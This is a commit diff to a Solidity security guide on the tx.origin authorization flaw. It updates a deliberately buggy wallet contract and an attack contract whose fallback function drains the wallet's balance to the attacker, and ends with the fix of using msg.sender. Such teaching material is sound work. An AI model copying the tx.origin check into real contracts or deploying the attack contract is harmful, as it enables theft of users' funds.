Skip to content

Commit 9edaf0b

Browse files
authored
Update Fallback Function (#105)
* #update fallback function * #update fallback function * #update fallback function
1 parent 94dd8d4 commit 9edaf0b

File tree

1 file changed

+18
-7
lines changed

1 file changed

+18
-7
lines changed

vulnerabilities/authorization-txorigin.md

Lines changed: 18 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,10 @@
33
`tx.origin` is a global variable in Solidity which returns the address that sent a transaction. It's important that you never use `tx.origin` for authorization since another contract can use a fallback function to call your contract and gain authorization since the authorized address is stored in `tx.origin`. Consider this example:
44

55
```solidity
6-
pragma solidity >=0.5.0 <0.7.0;
6+
7+
// SPDX-License-Identifier: MIT
8+
9+
pragma solidity ^0.8.0;
710
811
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
912
contract TxUserWallet {
@@ -23,26 +26,34 @@ contract TxUserWallet {
2326
Here we can see that the `TxUserWallet` contract authorizes the `transferTo()` function with `tx.origin`.
2427

2528
```solidity
26-
pragma solidity >=0.5.0 <0.7.0;
29+
30+
// SPDX-License-Identifier: MIT
31+
32+
pragma solidity ^0.8.0;
2733
2834
interface TxUserWallet {
2935
function transferTo(address payable dest, uint amount) external;
3036
}
3137
3238
contract TxAttackWallet {
33-
address payable owner;
39+
address payable private immutable owner;
3440
35-
constructor() public {
36-
owner = msg.sender;
41+
// Constructor sets the contract deployer as the owner
42+
constructor() {
43+
owner = payable(msg.sender);
3744
}
3845
39-
function() external {
46+
// fallback function to receive Ether and trigger transfer
47+
48+
fallback() external payable {
49+
// Call transferTo on TxUserWallet (msg.sender) to send its balance to owner
50+
4051
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
4152
}
4253
}
4354
```
4455

45-
Now if someone were to trick you into sending ether to the `TxAttackWallet` contract address, they can steal your funds by checking `tx.origin` to find the address that sent the transaction.
56+
Now if someone were to trick your 'TxUserWallet' contract into sending ether to the `TxAttackWallet` contract, they can steal all funds from 'TxUserWallet' by passing the `tx.origin` check.
4657

4758
To prevent this kind of attack, use `msg.sender` for authorization.
4859

0 commit comments

Comments
 (0)